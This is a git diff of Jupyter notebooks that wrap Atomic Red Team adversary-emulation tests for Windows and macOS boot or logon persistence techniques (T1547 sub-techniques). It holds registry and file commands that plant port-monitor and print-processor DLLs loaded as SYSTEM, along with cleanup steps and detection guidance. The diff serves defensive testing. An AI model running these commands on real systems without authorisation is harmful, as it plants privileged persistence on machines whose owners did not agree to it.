{}, "source": "#### Cleanup: \n```cmd\ndel -f %temp%\\T1547.009_modified_shortcut.url >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a8233a83", + "id": "6a5fd38e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "02298ae0", + "id": "fdccb898", "metadata": {}, "source": [ "### Atomic Test #2 - Create shortcut to cmd in startup folders", @@ -62,28 +62,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d9a5eb52", + "id": "4f4cecb3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "cd566b18", + "id": "ae2c9248", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\nRemove-Item \"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "56b675ce", + "id": "e6d1c858", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "6a62b7a2", + "id": "f7b26338", "metadata": {}, "source": "## Detection\nSince a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)" } @@ -91,13 +91,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.010.ipynb b/playbook/tactics/persistence/T1547.010.ipynb index 87a81226..57245d65 100644 --- a/playbook/tactics/persistence/T1547.010.ipynb +++ b/playbook/tactics/persistence/T1547.010.ipynb @@ -2,54 +2,54 @@ "cells": [ { "cell_type": "markdown", - "id": "5e66fdc0", + "id": "d4a8793d", "metadata": {}, "source": "# T1547.010 - Port Monitors\nAdversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM." }, { "cell_type": "markdown", - "id": "e47c4fe3", + "id": "3aa202e5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "52557e6d", + "id": "2e2800b6", "metadata": {}, "source": [ "### Atomic Test #1 - Add Port Monitor persistence in Registry", - "Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot dll will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.", + "Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\ART\" /v \"Atomic Red Team\" /d \"C:\\Path\\AtomicRedTeam.dll\" /t REG_SZ\n```" + "```command_prompt\nreg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll\" /t REG_SZ /f\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d934dde6", + "id": "1a027704", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.010 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5af02b2a", + "id": "d4d1ef9e", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nreg delete \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\ART\" /f >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nreg delete \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a143270a", + "id": "f43685bc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.010 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d7c8f740", + "id": "633481f8", "metadata": {}, "source": "## Detection\nMonitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)" } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.011.ipynb b/playbook/tactics/persistence/T1547.011.ipynb deleted file mode 100644 index f5540dc0..00000000 --- a/playbook/tactics/persistence/T1547.011.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e076b95a", - "metadata": {}, - "source": "# T1547.011 - Plist Modification\nAdversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)" - }, - { - "cell_type": "markdown", - "id": "f713a032", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bde34c79", - "metadata": {}, - "source": "## Detection\nMonitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. " - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1547.012.ipynb b/playbook/tactics/persistence/T1547.012.ipynb index e7d24bee..0b5d30f4 100644 --- a/playbook/tactics/persistence/T1547.012.ipynb +++ b/playbook/tactics/persistence/T1547.012.ipynb @@ -2,19 +2,54 @@ "cells": [ { "cell_type": "markdown", - "id": "b4daf14d", + "id": "95af95ae", "metadata": {}, - "source": "# T1547.012 - Print Processors\nAdversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges." + "source": "# T1547.012 - Print Processors\nAdversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges." }, { "cell_type": "markdown", - "id": "2341ced2", + "id": "e5d988bd", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7e16d8ba", + "id": "05fbfaac", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Print Processors", + "Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors.\nThe new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\\Users\\Public\\ as validation that the test is successful.\n\nNote: The test assumes a x64 Windows operating system.\n\nThe payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nif( $(get-service -Name spooler).StartType -eq \"Disabled\") {Set-Service -Name \"spooler\" -StartupType Automatic}\nnet stop spooler\nCopy-Item \"$PathToAtomicsFolder\\T1547.012\\bin\\AtomicTest.dll\" C:\\Windows\\System32\\spool\\prtprocs\\x64\\AtomicTest.dll\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\\AtomicRedTeam\" /v \"Driver\" /d \"AtomicTest.dll\" /t REG_SZ /f\nnet start spooler\nif(0){\n Restart-Computer\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a6bcfd9d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.012 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "ce36498e", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nnet stop spooler\nrm -force C:\\Windows\\System32\\spool\\prtprocs\\x64\\AtomicTest.dll -ErrorAction SilentlyContinue\nrm -force C:\\Users\\Public\\AtomicTest.txt -ErrorAction SilentlyContinue\nremove-item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\\AtomicRedTeam\" -Force -ErrorAction SilentlyContinue\nnet start spooler\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7e55f499", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.012 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "50444bd6", "metadata": {}, "source": "## Detection\nMonitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious." } @@ -22,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.013.ipynb b/playbook/tactics/persistence/T1547.013.ipynb index 7837a746..324aea72 100644 --- a/playbook/tactics/persistence/T1547.013.ipynb +++ b/playbook/tactics/persistence/T1547.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f05ccce2", + "id": "d41e1e2f", "metadata": {}, - "source": "# T1547.013 - XDG Autostart Entries\nAdversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs." + "source": "# T1547.013 - XDG Autostart Entries\nAdversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)" }, { "cell_type": "markdown", - "id": "364c07a7", + "id": "e0e6ef44", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ee944d1d", + "id": "34fc7cb5", "metadata": {}, "source": "## Detection\nMalicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.014.ipynb b/playbook/tactics/persistence/T1547.014.ipynb index 4cfcde86..cbeca2aa 100644 --- a/playbook/tactics/persistence/T1547.014.ipynb +++ b/playbook/tactics/persistence/T1547.014.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "26eac9cd", + "id": "4bc88928", "metadata": {}, "source": "# T1547.014 - Active Setup\nAdversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs." }, { "cell_type": "markdown", - "id": "a9ea8747", + "id": "160058f8", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f946a766", + "id": "6ba9779e", "metadata": {}, "source": [ "### Atomic Test #1 - HKLM - Add atomic_test key to launch executable as part of user setup", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "67a3e5b8", + "id": "1624242a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0d098b0f", + "id": "b3e2ec74", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore\nRemove-Item \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "f14a1852", + "id": "95972b11", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "49769226", + "id": "6a6339f0", "metadata": {}, "source": [ "### Atomic Test #2 - HKLM - Add malicious StubPath value to existing Active Setup Entry", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ea05ef8a", + "id": "fcff70bb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ef53d9ac", + "id": "9460053a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"StubPath\" -Force\nRemove-ItemProperty \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Force```" }, { "cell_type": "code", "execution_count": null, - "id": "d669a1c3", + "id": "f95e5619", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "6200c0a8", + "id": "90be9062", "metadata": {}, "source": [ "### Atomic Test #3 - HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number", @@ -98,14 +98,14 @@ { "cell_type": "code", "execution_count": null, - "id": "5419ed4b", + "id": "dd25958f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "5e15c235", + "id": "1eec5ef1", "metadata": {}, "source": "## Detection\nMonitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data." } @@ -113,13 +113,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.015.ipynb b/playbook/tactics/persistence/T1547.015.ipynb index 4bd64449..a6883a20 100644 --- a/playbook/tactics/persistence/T1547.015.ipynb +++ b/playbook/tactics/persistence/T1547.015.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "a2b28343", + "id": "f0456543", "metadata": {}, "source": "# T1547.015 - Login Items\nAdversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)" }, { "cell_type": "markdown", - "id": "331f6856", + "id": "bb19f43e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f17e708e", + "id": "83148aa2", "metadata": {}, "source": "### Atomic Test #1 - Persistence by modifying Windows Terminal profile\nModify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Windows Terminal must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path ~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$(rm ~\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalState\\StoreEdgeFD\\installed.db -ErrorAction Ignore; Write-Output \"\"; $?) -and $(winget install --id=Microsoft.WindowsTerminal)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "df3f3495", + "id": "67afce78", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "25885ff4", + "id": "c48ddc38", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bfeb0305", + "id": "31fe2560", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3d9c12bb", + "id": "29cf3622", "metadata": {}, "source": "#### Cleanup: \n```powershell\nmv -Force ~\\AppData\\Local\\Temp\\settings.json ~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json\ntaskkill /F /IM \"calculator.exe\" > $null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "25fbcd69", + "id": "d6b91b3c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "1ba9a928", + "id": "344c7b34", "metadata": {}, "source": [ "### Atomic Test #2 - Add macOS LoginItem using Applescript", @@ -72,28 +72,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b7ebbb8f", + "id": "1aa670bb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c84aec9f", + "id": "36077803", "metadata": {}, "source": "#### Cleanup: \n```bash\nosascript PathToAtomicsFolder/T1547.015/src/remove_login_item.osa\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b998b891", + "id": "3e9b7127", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "683ba6d0", + "id": "4b097dca", "metadata": {}, "source": "## Detection\nAll login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections." } @@ -101,13 +101,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.ipynb b/playbook/tactics/persistence/T1547.ipynb index b6e8746c..c144d32e 100644 --- a/playbook/tactics/persistence/T1547.ipynb +++ b/playbook/tactics/persistence/T1547.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d3c89558", + "id": "a848574a", "metadata": {}, "source": "# T1547 - Boot or Logon Autostart Execution\nAdversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges." }, { "cell_type": "markdown", - "id": "2283a339", + "id": "0d9aaaf2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f2568ee6", + "id": "bc8ee930", "metadata": {}, "source": [ "### Atomic Test #1 - Add a driver", @@ -27,20 +27,20 @@ { "cell_type": "code", "execution_count": null, - "id": "de0c2300", + "id": "c3bf0d8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a06e107d", + "id": "1356f4b1", "metadata": {}, "source": "## Detection\nMonitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, 